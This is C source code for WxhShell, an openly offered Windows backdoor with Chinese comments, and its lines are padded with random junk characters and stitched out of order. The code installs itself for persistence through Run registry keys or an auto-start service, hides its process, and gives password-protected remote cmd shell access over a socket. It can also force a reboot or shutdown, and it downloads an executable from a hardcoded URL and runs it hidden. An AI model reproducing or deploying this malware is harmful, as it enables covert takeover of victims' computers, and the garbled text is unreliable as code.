    if(Boot(SHUTDOWN)) _Q^jk0K8ga  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =aj|auu  
    else { 0e"KdsA:<U  
    closesocket(wsh); "Vc|D (g  
    ExitThread(0); bZWR. </  
    } 9{nU\am!\  
    break; _6.@^\;  
    } Bz ,D4 E$  
  // 获取shell p=[dt  
  case 's': { ;;UsHhbhI  
    CmdShell(wsh); IuPDr %  
    closesocket(wsh); ~hk!N!J\  
    ExitThread(0); IA1O]i S  
    break; W!8$:Ih_Z  
  } |U1u:=[  
  // 退出 5C*Zb3VG4  
  case 'x': { p({|=+bl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tZ=|1lM  
    CloseIt(wsh); ^{yb4yQ 0  
    break; P/~dY  
    } 5r8 [ "  
  // 离开 sdXchVC  
  case 'q': { .w\4Th#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a&[[@1OY  
    closesocket(wsh); yT3K 2A  
    WSACleanup(); >Gg[J=7`  
    exit(1); aAoAjVNkK  
    break; ;/m>c{  
        } WR.7%U';  
  } Zq1> M'V;  
  } 3H"F~_H  
p(4Ek"  
  // 提示信息 G@ybx[_[@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b2F1^]p  
} %E, -dw  
  } 79Q,XRWh|  
3s:)CXO  
  return; 0~<t :q!  
} Vas Q/  
cv_O2Q4,@  
// shell模块句柄 cP/(h  
int CmdShell(SOCKET sock) /Jk.b/t.*S  
{ %iV\nFal>  
STARTUPINFO si; $\4Or  
ZeroMemory(&si,sizeof(si)); Tig6<t+Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,,9vk\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %u|Qh/?7  
PROCESS_INFORMATION ProcessInfo; QIN# \  
char cmdline[]="cmd"; Grd9yLF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `n|k+tsC  
  return 0; IfRrl/!nw  
} %ULd_ES^  
"J >, Hr9  
// 自身启动模式 JLyFk V/  
int StartFromService(void) 84Hm PPt  
{ WFeaX7\b  
typedef struct 5U<o%+^El  
{ A]V<K[9:b  
  DWORD ExitStatus; mW_A 3S5  
  DWORD PebBaseAddress; Q%GLT,f1.  
  DWORD AffinityMask; ^eYJ7&t  
  DWORD BasePriority; C$c.(5/O  
  ULONG UniqueProcessId; 5o(=?dXm4  
  ULONG InheritedFromUniqueProcessId; p|*b] 36  
}   PROCESS_BASIC_INFORMATION; @qJv  
d<;XQ.Wo7  
PROCNTQSIP NtQueryInformationProcess; iN`L*h  
ER$~kFE2yP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kS7T'[d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y50$ 2%kM  
~0.@1zEXj  
  HANDLE             hProcess; BT{({3  
  PROCESS_BASIC_INFORMATION pbi; p@znmn-  
^h|'\-d\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2gjA>ET`N  
  if(NULL == hInst ) return 0; 483vFLnF  
QaEXk5>e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KQqQ@D&n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tX}Fb0y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `+@%l*TQ  
[c6_6q As  
  if (!NtQueryInformationProcess) return 0; }KkH7XksF  
F{<r IR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }@A~a`9g  
  if(!hProcess) return 0; .~8IW,[  
&9g#Vq%   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *KV] MdS  
qdu:kA:]  
  CloseHandle(hProcess); 1-gX=8]]  
C{S6Ri  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ln!KL'T]  
if(hProcess==NULL) return 0; }mJ)gK5b 6  
X}bgRzj  
HMODULE hMod; DFjkp;`1  
char procName[255]; tbk9N( R  
unsigned long cbNeeded; 8@Km@o]?  
J5rR?[i{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WCWBvw4&"{  
&q` =xF  
  CloseHandle(hProcess); 'XQv>J  
]g+(#x_.?  
if(strstr(procName,"services")) return 1; // 以服务启动 uTJ?@ ^nq  
Cw^)}23R  
  return 0; // 注册表启动 EGMcU| yL  
} Yc5$915  
X:g5>is|  
// 主模块 XJ NKM~  
int StartWxhshell(LPSTR lpCmdLine) a+BA~|u^  
{ Em.?  
  SOCKET wsl; W]*wxzf!5z  
BOOL val=TRUE; =XS'V*  
  int port=0; wYawG$@_  
  struct sockaddr_in door; p9sxA|O=y  
4-n.4j|  
  if(wscfg.ws_autoins) Install(); bKaV]Uy  
SO&;]YO  
port=atoi(lpCmdLine); EX5kF  
D 7E^;W)H  
if(port<=0) port=wscfg.ws_port; |)_<JAN  
!c`1~a!  
  WSADATA data; jKQP0 t-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :{6[U=O  
5Q'R5]?h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =UP)b9*h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4* hmeS"  
  door.sin_family = AF_INET; _1 JvA-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hg>YOf&RG  
  door.sin_port = htons(port); ! O>mu6:Rf  
";. 3+z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Tuy*Df  
closesocket(wsl); 5astv:p,P  
return 1;  MU^Z*r  
} <z4!m/f [(  
J\0YL\jw1K  
  if(listen(wsl,2) == INVALID_SOCKET) { !%(B2J  
closesocket(wsl); Yb\36|  
return 1; : R&tO3_F  
} d16 PY_  
  Wxhshell(wsl); \d;Ow8%d/  
  WSACleanup(); LMDa68 s  
8+W^t I  
return 0; Z n!SHj  
#WG(V%f]  
} OWkK]O  
t8[:}[Jx  
// 以NT服务方式启动 [6tQv<}^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @'y"D  
{ $7*Ml)H!9  
DWORD   status = 0; vtT:c.~d  
  DWORD   specificError = 0xfffffff; & Gt9a-ne  
+Snjb0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :4Vt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g<-cHF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }A;Xd/,'r  
  serviceStatus.dwWin32ExitCode     = 0; 33 4*nQ  
  serviceStatus.dwServiceSpecificExitCode = 0; wDG4rN9x  
  serviceStatus.dwCheckPoint       = 0; !1_:nD  
  serviceStatus.dwWaitHint       = 0; w?C\YKF7  
$p@g#3X`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }1P  
  if (hServiceStatusHandle==0) return; yC5|"+ A$  
4c yv 8  
status = GetLastError(); *%e#)sn*  
  if (status!=NO_ERROR) -d~'tti  
{ 5*r6#[S\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~eP 2PG  
    serviceStatus.dwCheckPoint       = 0; td~3N,S  
    serviceStatus.dwWaitHint       = 0; A!~o?ej  
    serviceStatus.dwWin32ExitCode     = status; g/J!U8W"  
    serviceStatus.dwServiceSpecificExitCode = specificError; @wPmx*SF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zkOgL9 (_8  
    return; 73.b9mF  
  } m~K]|]iqQ  
tQ67XAb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {mQJ6 G'ny  
  serviceStatus.dwCheckPoint       = 0; #@fypCc  
  serviceStatus.dwWaitHint       = 0; gr=`_k4~1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XTJ>y@  
} vX\e* v  
m @%|Q;  
// 处理NT服务事件,比如:启动、停止 wMoAvA_oS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @!da1jN  
{ +9J>'oe'D  
switch(fdwControl) ^b~5zhY&  
{ JNz0!wi  
case SERVICE_CONTROL_STOP:  df'g},_  
  serviceStatus.dwWin32ExitCode = 0; L9@jmh*E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6>I.*Qt \l  
  serviceStatus.dwCheckPoint   = 0; :Mk}Suf&H  
  serviceStatus.dwWaitHint     = 0; [1U_c*;i  
  { DvCt^O*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /WfxI>v  
  } vo-{3]u#=  
  return; ||=Duk  
case SERVICE_CONTROL_PAUSE: Ln|${c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K;PpS*!  
  break; M=A9a x  
case SERVICE_CONTROL_CONTINUE: %U 7B0-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hz%IxI9  
  break; Q:\hh=^  
case SERVICE_CONTROL_INTERROGATE: _1'Pb/1  
  break; ;GS JnV  
}; bph*X{lFK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \t@`]QzG:  
} UJ[a& b  
$EIkk= z  
// 标准应用程序主函数 D,/9rH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ah6x2(:  
{ A2d2V**Z  
]Yex#K   
// 获取操作系统版本 ihrrmlN?  
OsIsNt=GetOsVer(); B(LV22#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); val<N293L>  
(T01hR&  
  // 从命令行安装 t,,^^ll  
  if(strpbrk(lpCmdLine,"iI")) Install(); v"+EBfx  
 $wTX  
  // 下载执行文件 b3lpNJ J  
if(wscfg.ws_downexe) { KoJG! Rm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G m! ]   
  WinExec(wscfg.ws_filenam,SW_HIDE); Tt|6N*b'  
} * U4:K@y  
o=QF>\ \  
if(!OsIsNt) { *lAdS]I  
// 如果时win9x,隐藏进程并且设置为注册表启动 <*(R+to^d  
HideProc(); @ `D6F;R  
StartWxhshell(lpCmdLine); s_!Z+D$K  
} ~x:] ch|  
else -; $/<  
  if(StartFromService()) vM/v}6;_K2  
  // 以服务方式启动 AtDrQ<>y'  
  StartServiceCtrlDispatcher(DispatchTable); $lA,{Q  
else 59J9V3na  
  // 普通方式启动 UAZ&*{MM^  
  StartWxhshell(lpCmdLine); ,IE0+!I  
,v_r$kh^  
return 0; Y;Gm,  
} YPnJldVn  
':]a.yA\1  
N-E`go  
oFR'GUQC  
=========================================== TP::y  
j:3Hm0W3  
Ai18]QD-  
 u$8MVP  
Cl!jK^AbG  
{1|7N GQ  
" gq3OCA!cX  
w tLM c  
#include <stdio.h> mtddLd,  
#include <string.h> e622{dfVS  
#include <windows.h> v^fOT5\  
#include <winsock2.h> lG>e6[Wc  
#include <winsvc.h> ^\jX5)2{  
#include <urlmon.h> b] ?;R  
4CT9-2UC  
#pragma comment (lib, "Ws2_32.lib") z,YUguc|  
#pragma comment (lib, "urlmon.lib") .6o y>4  
hP8&n9o  
#define MAX_USER   100 // 最大客户端连接数 $4JX#lkt  
#define BUF_SOCK   200 // sock buffer }tO<_f))  
#define KEY_BUFF   255 // 输入 buffer DW&')gfQ  
yuDd% 1k  
#define REBOOT     0   // 重启 q.Z#7~6`3  
#define SHUTDOWN   1   // 关机 v=1S  
AiK4t-  
#define DEF_PORT   5000 // 监听端口 BrMp_M  
| V,jd  
#define REG_LEN     16   // 注册表键长度 ~j#6 goKn  
#define SVC_LEN     80   // NT服务名长度 [(EH  
%MZDm&f>Kk  
// 从dll定义API O \8G~V 5"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Yka&Kkw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \ZWmef  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _J~ta.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ik0Q^^1?Y  
n4T2'e  
// wxhshell配置信息 p+UHJ&  
struct WSCFG { <JM%Kn )  
  int ws_port;         // 监听端口 ^Jl!WH=20}  
  char ws_passstr[REG_LEN]; // 口令 T ) f_W  
  int ws_autoins;       // 安装标记, 1=yes 0=no t0d '>  
  char ws_regname[REG_LEN]; // 注册表键名 :k(t/*Nl3  
  char ws_svcname[REG_LEN]; // 服务名 E/$@ud|l"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LE80`t>M#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *1S.9L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *N e2l`!1m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }SN44 di(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =M{CZm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 } %CbZ/7&  
`+Z#*lj|@  
}; bK$D lBZ  
`yXx[deY  
// default Wxhshell configuration mW0&uSM D  
struct WSCFG wscfg={DEF_PORT, ieRBD6_  
    "xuhuanlingzhe", ;}jbdS3  
    1, tSc>@Q_|  
    "Wxhshell", <ZC^H  
    "Wxhshell", '# IuY  
            "WxhShell Service", !XA%[u  
    "Wrsky Windows CmdShell Service", !2U7gVt"*  
    "Please Input Your Password: ", Mth`s{sATa  
  1, @j2*.ee  
  "http://www.wrsky.com/wxhshell.exe", HT=Am  
  "Wxhshell.exe" Yn]y d1  
    }; P| P fG=  
( WtE`f;Q  
// 消息定义模块 _6S b.9m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >c\v&k>6.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )F#<)Evw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $]U5  
char *msg_ws_ext="\n\rExit."; ]op^dW1;0_  
char *msg_ws_end="\n\rQuit."; bo!]  
char *msg_ws_boot="\n\rReboot..."; ~eOj:H  
char *msg_ws_poff="\n\rShutdown..."; fQTA@WAr  
char *msg_ws_down="\n\rSave to "; 1L=Qg4 H  
s]<r  
char *msg_ws_err="\n\rErr!"; v\9,j  
char *msg_ws_ok="\n\rOK!"; cU5"c)$'  
2T(,H.O  
char ExeFile[MAX_PATH]; IQi[g~E.5  
int nUser = 0; m/c&/6nk  
HANDLE handles[MAX_USER]; 9_A0:S9Z  
int OsIsNt; /xm#:+Sc  
:;*#Qh3"  
SERVICE_STATUS       serviceStatus; kPX2e h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pM'IQ3N  
5v>{Z0TE[6  
// 函数声明 &J/4J  
int Install(void); 3auJ^B}  
int Uninstall(void); NuS|X   
int DownloadFile(char *sURL, SOCKET wsh); {}J@+Zsi  
int Boot(int flag); (06Vcqg  
void HideProc(void); ;ko[(eFN@  
int GetOsVer(void); )\D40,p  
int Wxhshell(SOCKET wsl); e]*=sp!T  
void TalkWithClient(void *cs); _QMHPRELk  
int CmdShell(SOCKET sock); 'UvS3]bSYW  
int StartFromService(void); @wdB%  
int StartWxhshell(LPSTR lpCmdLine); n:^"[Le  
5ih"Nds[H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !ga (L3vf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z(k\J|&9C  
jle%|8m&@  
// 数据结构和表定义 ci_v7Jnwo  
SERVICE_TABLE_ENTRY DispatchTable[] = Bpm5dT;  
{ |h=+&*(:  
{wscfg.ws_svcname, NTServiceMain}, hr!f: D  
{NULL, NULL} n@07$lY@;  
}; T:g4D z*2\  
X!#i@V  
// 自我安装 ss0'GfP  
int Install(void) Vyt~OTI\  
{ +/!=Ub[:U  
  char svExeFile[MAX_PATH]; A{8K#@!  
  HKEY key; gR-Qj  
  strcpy(svExeFile,ExeFile); [#>$k 6F*  
`l gjw=  
// 如果是win9x系统,修改注册表设为自启动 )_c=mT  
if(!OsIsNt) { EB29vHAt~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dp[w?AMhM9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B/sBYVU  
  RegCloseKey(key); [*?_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }@:QYTBi }  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O{B e )E~  
  RegCloseKey(key); csdOIF  
  return 0; u $% D9Z^  
    } g",wkO|  
  } s*)41\V0  
} xf^<ec  
else { )p!*c,  
\Sw+]pr~  
// 如果是NT以上系统,安装为系统服务 yK&* ,J |  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ANFg]g.Az  
if (schSCManager!=0) .?i-rTF:  
{ {n'qKur xY  
  SC_HANDLE schService = CreateService n(Q\' ,C  
  ( sR>`QIi(a  
  schSCManager, m,@1LwBH  
  wscfg.ws_svcname, F[7Kw"~J  
  wscfg.ws_svcdisp, Yt/SnF  
  SERVICE_ALL_ACCESS, ,\S pjE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0 .FHdJ<  
  SERVICE_AUTO_START, 1~R$$P11[9  
  SERVICE_ERROR_NORMAL, R*Xu( 89  
  svExeFile, sMz^!RX@  
  NULL, Pn+IJ=0Y  
  NULL, &'huS?g A9  
  NULL, J~iOP  
  NULL, W8G9rB|T  
  NULL MS st  
  ); b@2Cl l#  
  if (schService!=0) &PRx,G5  
  { F%PwIB~cy  
  CloseServiceHandle(schService); TDAWI_83-  
  CloseServiceHandle(schSCManager); .B 85!lCF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q?imE~&U  
  strcat(svExeFile,wscfg.ws_svcname); dq YDz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { && DD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "xDx/d8B  
  RegCloseKey(key); $>'")7z  
  return 0; ':!3jZP"m  
    } yV J dZI  
  } G%7 4v|cd  
  CloseServiceHandle(schSCManager); S(>@:`=  
} })o~E  
} q:Y6fbt<7  
CYPazOfj  
return 1; (2 T#/$  
} +9CEC1-l  
*%T)\\H2  
// 自我卸载 6WE&((r ^  
int Uninstall(void) ^s^ JzFw  
{ 2gd<8a''  
  HKEY key; 861i3OXVE>  
Gh]_L+  
if(!OsIsNt) { hncS_ZA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pv/Pww \  
  RegDeleteValue(key,wscfg.ws_regname); )|w*/JK\Z  
  RegCloseKey(key); 4AY _#f5u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *<*0".#  
  RegDeleteValue(key,wscfg.ws_regname); & Fg|%,fv]  
  RegCloseKey(key); -,~;qSs  
  return 0; %s$rP  
  } 0$eyT-:d  
} <i_> y~v`  
} 5l41Q  
else { ~lzdbX  
lQV|U;~D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _ yfdj[Ot`  
if (schSCManager!=0) X5uS>V%/  
{ ] vC=.&]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1Yc%0L(  
  if (schService!=0) hD nM+4D  
  { _\ .  
  if(DeleteService(schService)!=0) { Xh.+pJl,*  
  CloseServiceHandle(schService); {fog<1c  
  CloseServiceHandle(schSCManager); U/T4i#  
  return 0; xT9Yes&  
  } H-eEhI(;O  
  CloseServiceHandle(schService); u.Mqj"o\  
  } ],;D2]<s  
  CloseServiceHandle(schSCManager); p+, 1Fi  
} cQ8dc+ {  
} UI!6aVL.  
g3|BE2?  
return 1; v~ ^ks{  
} 6m4Te|  
rr|"r  
// 从指定url下载文件 |h5kg<Zgo  
int DownloadFile(char *sURL, SOCKET wsh) I3Lg?bZ  
{ \\=.6cg<K  
  HRESULT hr; 6( >3P  
char seps[]= "/"; Dn~Z SrJ  
char *token;  f>.4-a?  
char *file; `WH[DQ  
char myURL[MAX_PATH]; q1YLq(e  
char myFILE[MAX_PATH]; oi7 3YOB  
K!3{M!B   
strcpy(myURL,sURL); Y)$52m5rM  
  token=strtok(myURL,seps); blJIto '  
  while(token!=NULL) MV%Xhfk  
  { )-=2w-ZX  
    file=token; mJ)tHv"7  
  token=strtok(NULL,seps); TE3*ktB{N  
  } (# JMB)  
@Z?7E8(  
GetCurrentDirectory(MAX_PATH,myFILE); h^}_YaT\  
strcat(myFILE, "\\"); l iw,O 6  
strcat(myFILE, file); Pj'62[5z  
  send(wsh,myFILE,strlen(myFILE),0); 's)fO#  
send(wsh,"...",3,0); G49Ng|qn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )T>8XCL\}  
  if(hr==S_OK) $Axng J c  
return 0; <5dH *K  
else x+4v s s  
return 1; >G]?  
i-`,/e~XT  
} "37*A<+f  
+H7y/#e+3  
// 系统电源模块 /:U1!9.y  
int Boot(int flag)  AlO,o[0  
{ YU&4yk lE  
  HANDLE hToken; Ig<}dM.Z[  
  TOKEN_PRIVILEGES tkp; '<TD6jBs  
Q~phGD3!~  
  if(OsIsNt) { ] bIt@GB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); brntE:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~%`EeJwT  
    tkp.PrivilegeCount = 1; |VK:2p^ u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .N5'.3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S#k{e72 *  
if(flag==REBOOT) { .>P~uZiX!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !~WZ_z  
  return 0; C5Xof|#p|  
} h%' N hV  
else { ?4,@, ae&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5? Wg%@  
  return 0; s}wO7Df=+  
} :AZp}  
  } $57\u/(  
  else { A^-iHm  
if(flag==REBOOT) { W+8^P( K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F#su5<d  
  return 0; ~P/]:=  
} R;r|cep  
else { kfXS_\@iW1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F=srkw:*.  
  return 0; Vc|NL^  
} *%X.ym'  
} T8U[xu.>  
 =^Th[B  
return 1; q-YL]PgV  
} /u=aX  
bhYU5I 9  
// win9x进程隐藏模块 ha5e(Hj?  
void HideProc(void) G;NB\3 ~X  
{ ]oEQ4  
AuAT]`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B%fU'  
  if ( hKernel != NULL ) k52QaMKa~A  
  { &3I$8v|!?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c}%es=@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IP04l;p/  
    FreeLibrary(hKernel); I0iY+@^5  
  } _lP4}9p  
.U 39nd  
return; U+} y %3l  
} ;|!MI'Af  
ugI#ZFjJWE  
// 获取操作系统版本 x9%-plP  
int GetOsVer(void) P{cos&X|  
{ 1aq2aLx  
  OSVERSIONINFO winfo; 80}4/8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kbhX?; <`  
  GetVersionEx(&winfo); x6ahZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9<l-NU9 _  
  return 1; 088C|  
  else ^>^ \CP]  
  return 0;  i S  
} Ihg~Q4t  
%K?iNe  
// 客户端句柄模块 .fEw k  
int Wxhshell(SOCKET wsl) Ukc'?p,*  
{ jn$j^ 51`C  
  SOCKET wsh; wWTQ6~Y%d  
  struct sockaddr_in client; n' ?4.tb  
  DWORD myID; "U{,U`@?  
r1G8]agO  
  while(nUser<MAX_USER) 4 \ F P  
{ |'<vrn  
  int nSize=sizeof(client); xl8#=qmCD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y\#o2PVmY  
  if(wsh==INVALID_SOCKET) return 1; nhewDDu  
3u_oRs  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b@ 6:1x  
if(handles[nUser]==0) Fc'[+L--Q  
  closesocket(wsh); \5hw9T&[B  
else ]RD5Ex!K?  
  nUser++; GJ`UO  
  } skR,-:"8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RM,'o[%  
>rw"Rd'  
  return 0; nLJBq)i  
} ~C| ,b"  
,d cg?48  
// 关闭 socket )b92yP{  
void CloseIt(SOCKET wsh) E eB3 }  
{ $)*xC!@6X  
closesocket(wsh); '#H")i  
nUser--; \XS]N_}8>  
ExitThread(0); RdI} ;K  
} lsY `c"NW>  
ln#\sA?iG  
// 客户端请求句柄 &SmXI5>Bo0  
void TalkWithClient(void *cs) U:n*<l-k}  
{ 2 .f|2:I  
9"ugz^uKt  
  SOCKET wsh=(SOCKET)cs; AS|Rd+ .  
  char pwd[SVC_LEN]; y]'CXCml)  
  char cmd[KEY_BUFF]; dIJGB==  
char chr[1]; Gw{+xz KJ  
int i,j; C3}Aq8$6  
yp+F<5o  
  while (nUser < MAX_USER) { oLS7`+b$  
Pm^lr!3p  
if(wscfg.ws_passstr) { `W"G!X-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j#3m|dQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;SY.WfVA7  
  //ZeroMemory(pwd,KEY_BUFF); e+@xs n3  
      i=0; QNArZ6UQ  
  while(i<SVC_LEN) { :l"dYfl  
v`B4(P1Z  
  // 设置超时 jdM=SBy7q  
  fd_set FdRead; S}cF0B1E*  
  struct timeval TimeOut; =}R~0|^  
  FD_ZERO(&FdRead); W:O0}   
  FD_SET(wsh,&FdRead); /^2CGcT(  
  TimeOut.tv_sec=8; |>2: eH  
  TimeOut.tv_usec=0; CH;;V3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tpYa?ZCM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yy h=G  
[Oy >R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FT.@1/)  
  pwd=chr[0]; ~`R1sSr"  
  if(chr[0]==0xd || chr[0]==0xa) { G{o+R]Us  
  pwd=0; z+/LS5$  
  break; }OrYpZob  
  } 1[DS'S  
  i++; 0S.?E.-&0  
    } "={L+di:M  
v!trsjb  
  // 如果是非法用户,关闭 socket `?uPn~,e8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +< KNY  
} FH*RU1Z  
]XUSqai  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l1<?ONB.#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GwQn;gkF  
TyOH`5 D  
while(1) { #DUh(:E'`  
|C D}<r(N  
  ZeroMemory(cmd,KEY_BUFF); _M5Xk?e=  
;|TT(P:d  
      // 自动支持客户端 telnet标准   K@r*;T  
  j=0; C).2gQ G  
  while(j<KEY_BUFF) { ce'TYkPM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0JXqhc9'  
  cmd[j]=chr[0]; TpP8=8_Lh  
  if(chr[0]==0xa || chr[0]==0xd) { <AUWby,"  
  cmd[j]=0; /s[DI;M$o  
  break; 'ere!:GJD  
  } O&'/J8  
  j++; Q4wc-s4RN  
    } uvB1VV4  
Y=Hz;Ni  
  // 下载文件 xR908+>5  
  if(strstr(cmd,"http://")) { uRQ_'l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o:UXPAj  
  if(DownloadFile(cmd,wsh)) `^##b6jH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); te'*<HM  
  else |4Ha?W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C4NRDwU|.  
  } J&6:d  
  else { }Bff,q  
U8O(;+  
    switch(cmd[0]) { Qb`C)Nh:  
  -3hCiKq  
  // 帮助 Q)^g3J  
  case '?': {  .mPg0  
